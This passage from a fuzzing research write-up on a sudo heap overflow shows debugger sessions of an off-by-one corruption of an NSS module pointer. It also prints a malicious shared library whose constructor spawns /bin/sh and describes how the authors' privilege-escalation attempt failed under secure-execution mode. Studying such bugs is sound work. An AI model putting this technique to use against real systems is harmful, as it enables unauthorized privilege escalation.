        "raw": "#13 0x0000555555572f88 in policy_check (plugin=0x555555583920 <policy_plugin>, argc=6, argv=0x7fffffffdd38, env_add=0x0, command_info=0x7fffffffdaa8, argv_out=0x7fffffffdab0, user_env_out=0x7fffffffdab8) at ./sudo.c:1186",
        "num": "13",
        "addr": "0x0000555555572f88",
        "funcname": "policy_check",
        "args": [
          "plugin=0x555555583920 <policy_plugin>",
          "argc=6",
          "argv=0x7fffffffdd38",
          "env_add=0x0",
          "command_info=0x7fffffffdaa8",
          "argv_out=0x7fffffffdab0",
          "user_env_out=0x7fffffffdab8"
        ],
        "filename": "./sudo.c:1186"
      },
      {
        "raw": "#14 0x000055555556e6ed in main (argc=8, argv=0x7fffffffdd28, envp=0x7fffffffdd70) at ./sudo.c:301",
        "num": "14",
        "addr": "0x000055555556e6ed",
        "funcname": "main",
        "args": [
          "argc=8",
          "argv=0x7fffffffdd28",
          "envp=0x7fffffffdd70"
        ],
        "filename": "./sudo.c:301"
      }
    ],
    "exit_code": 300
  }
}

We write one more hacky python script (heap-fuzzer-crash-triage.py) that is able to read the JSON results file, parse it, and re-run the sudo binary exactly in the same way so that we can reproduce the crash. With some cyclic_gen magic and messing around with arguments, we figure out exactly which part of argv influences the parameter module=0x4242424242422042. It is a partial overwrite. Here is how the module parameter looks like under non-crashing execution:

 ► 0x7ffff7eeedc0 <__nss_module_get_function>       push   r15
   0x7ffff7eeedc2 <__nss_module_get_function+2>     push   r14
   0x7ffff7eeedc4 <__nss_module_get_function+4>     push   r13
[ BACKTRACE ]
0   0x7ffff7eeedc0 __nss_module_get_function
   1   0x7ffff7eecfad __nss_lookup_function+13
   2   0x7ffff7e8bb8c internal_getgrouplist+188
   3   0x7ffff7e8be28 getgrouplist+104
   4   0x7ffff7fafde6 sudo_getgrouplist2_v1+208
   5   0x7ffff7d3b953 sudo_make_gidlist_item+481
   6   0x7ffff7d3a367 sudo_get_gidlist+560
   7   0x7ffff7d32683 runas_getgroups+221
pwndbg> $ p module
$3 = (struct nss_module *) 0x555555588d90
pwndbg> $ p * module
$2 = {
  state = 1,
  functions = {
    typed = {
      endaliasent = 0x244a4e5c2b67897,
      endetherent = 0x244a4e521967897,
      ....
    },
    untyped = {0x244a4e5c2b67897, ..., 0x244a4e527967897}
  },
  handle = 0x0,
  next = 0x0,
  name = 0x555555588fa8 "files"
}

After fiddling around, it seems like an off-by-one overflow is sufficient. With an off-by-one, and the fact that the overflow is comming from argv, the parameter module=0x555555588d90 would look like module=0x5555555800XX afterwards. XX is bytes that we control and then a NULL byte follows, because argv arguments are NULL terminated. So, let’s brute-force XX using brutter.sh until our pre-conditions are met.

And apparently for XX=01 it works! Here is the output from gdb when given an input that corrupts the module parameter to 0x555555580001

 ► 0x7ffff7eeedc0 <__nss_module_get_function>       push   r15
   0x7ffff7eeedc2 <__nss_module_get_function+2>     push   r14
   0x7ffff7eeedc4 <__nss_module_get_function+4>     push   r13
[ BACKTRACE ]
0   0x7ffff7eeedc0 __nss_module_get_function
   1   0x7ffff7eecfad __nss_lookup_function+13
   2   0x7ffff7e8bb8c internal_getgrouplist+188
   3   0x7ffff7e8be28 getgrouplist+104
   4   0x7ffff7fafde6 sudo_getgrouplist2_v1+208
   5   0x7ffff7d3b953 sudo_make_gidlist_item+481
   6   0x7ffff7d3a367 sudo_get_gidlist+560
   7   0x7ffff7d32683 runas_getgroups+221
pwndbg> $ p module
$5 = (struct nss_module *) 0x555555580001
pwndbg> $ p *module
$4 = {
  state = 0,        // This is imporant
  functions = {
    typed = {
      endaliasent = 0x0,
      endetherent = 0x0,
      //...
    },
    untyped = {0x0 <repeats 64 times>}
  },
  handle = 0x0,
  next = 0x0,
  name = 0x555555580219 ""  //This is important
}
pwndbg> $ c

[ REGISTERS / show-flags off / show-compact-regs off ]
*RDI  0x55555558e320 ◂— 'libnss_.so.2'
*RIP  0x7ffff7f0a440 (__libc_dlopen_mode) ◂— push rbx
[ DISASM / x86-64 / set emulate on ]
 ► 0x7ffff7f0a440 <__libc_dlopen_mode>       push   rbx
   0x7ffff7f0a441 <__libc_dlopen_mode+1>     sub    rsp, 0x30
   0x7ffff7f0a445 <__libc_dlopen_mode+5>     mov    rax, qword ptr fs:[0x28]
[ BACKTRACE ]
0   0x7ffff7f0a440 __libc_dlopen_mode
   1   0x7ffff7eee907 module_load+167
   2   0x7ffff7eeee05 __nss_module_get_function+69
   3   0x7ffff7eeee05 __nss_module_get_function+69
   4   0x7ffff7eecfad __nss_lookup_function+13
   5   0x7ffff7e8bb8c internal_getgrouplist+188
   6   0x7ffff7e8be28 getgrouplist+104
   7   0x7ffff7fafde6 sudo_getgrouplist2_v1+208

pwndbg> $ frame
#0  __libc_dlopen_mode (name=0x55555558e320 "libnss_.so.2", mode=mode@entry=-2147483646) at ./elf/dl-libc.c:152
152    in ./elf/dl-libc.c
pwndbg> $ x/1s $rdi
0x55555558e320:    "libnss_.so.2"

As you can see, the sudo binary is ready to load libnss_.so.2. However, this library does not exist in the system! Maybe with LD_LIBRARY_PATH=. sudo we can force sudo to load it (dumb excitment kicks in). So, we quickly prepare our malicious library:

#include <stdio.h>
#include <unistd.h>
void foo() {
    printf("foo\n");
}
__attribute__((constructor))
void init() {
    char *args[] = {
        "/bin/sh",
        NULL
    };
    execve(args[0], args, NULL);
}

Let’s try running LD_LIBRARY_PATH=. sudo now without gdb and corrupt the pointer to module=0x555555580001:

failed-success.png

And it works! Let’s also re-enable ASLR as we had disabled it at some point. With ASLR and by using brutter.sh, we are still able to sueccessfully execute our exploit and get a shell.

Let’s finally now try our exploit as user:

total-failure.png

And it is a failure. Maybe we have to use a different value for XX? Let’s switch back to ASLR off. Running brutter.sh did not work. Even trying to brute-force 2 bytes does not work.

What is the issue here?

Pitfalls and hard reality

Well, one dumb thing that we did and is now biting us back is that we fuzzed the heap as root, because we wanted gdb. We relied on spawning sudo with gdb as root and we were lazy to implement a mechanism that allows to attach to sudo executed as user. The heap layout might be slightly different enough so that our exploit is now not corrupting the module pointer.

Another dumb thing is that we are using LD_LIBRARY_PATH with a setuid binary. Oh god. RTFM before jumping into action! Here is the man page:

If a shared object dependency does not contain a slash, then it
is searched for in the following order:

(1) Using the directories specified in the DT_RPATH dynamic
section attribute of the binary if present and DT_RUNPATH
attribute does not exist. Use of DT_RPATH is deprecated.

(2) Using the environment variable LD_LIBRARY_PATH, unless the
executable is being run in secure-execution mode (see
below), in which case this variable is ignored.

A binary is executed in secure-execution mode if the AT_SECURE
entry in the auxiliary vector (see getauxval(3)) has a nonzero
value. This entry may have a nonzero value for various reasons,
including:

  • The process’s real and effective user IDs differ, or the real
    and effective group IDs differ. This typically occurs as a
    result of executing a set-user-ID or set-group-ID program.

And yes we are running in secure-execution mode. This is also very easy to test with a our lib and a dummy binary. If the binary is setuid then LD_LIBRARY_PATH will not work.

Another thing is that our exploit uses GCONV_PATH in the environment variables. Here is the manual once again:

Secure-execution mode
For security reasons, if the dynamic linker determines that a
binary should be run in secure-execution mode, the effects of
some environment variables are voided or modified, and
furthermore those environment variables are stripped from the
environment, so that the program does not even see the
definitions. Some of these environment variables affect the
operation of the dynamic linker itself, and are described below.
Other environment variables treated in this way include:
GCONV_PATH, GETCONF_DIR, HOSTALIASES, LOCALDOMAIN, LOCPATH,
MALLOC_TRACE, NIS_PATH, NLSPATH, RESOLV_HOST_CONF, RES_OPTIONS,
TMPDIR, and TZDIR.

LD_LIBRARY_PATH: A list of directories in which to search for ELF libraries
at execution time. The items in the list are separated by
either colons or semicolons, and there is no support for
escaping either separator. A zero-length directory name
indicates the current working directory.

This variable is ignored in secure-execution mode.

Conclusion

Due to time constraints, this project ends here, unfortunately without exploiting sudo as user. It is not impossible, but would require some more significant engineering effort. Our initial goal of this journey was to learn more about fuzzing. Crafting an exploit for the bug was a bonus point.

It was a fun ride and we learned a lot. Going from zero (where are you bug?) to hero (RCE) definately takes a LOT of effort and there are a LOT of intermmediate steps. The pitfalls are numerous and each time you fall into one, you have to go steps back, redo things in the proper way, and then proceed. Otherwise, laziness will bite you back. Sometimes you have to fail first to know the answer afterwards. That is the nature of research anyway. The answer is potentially unknown.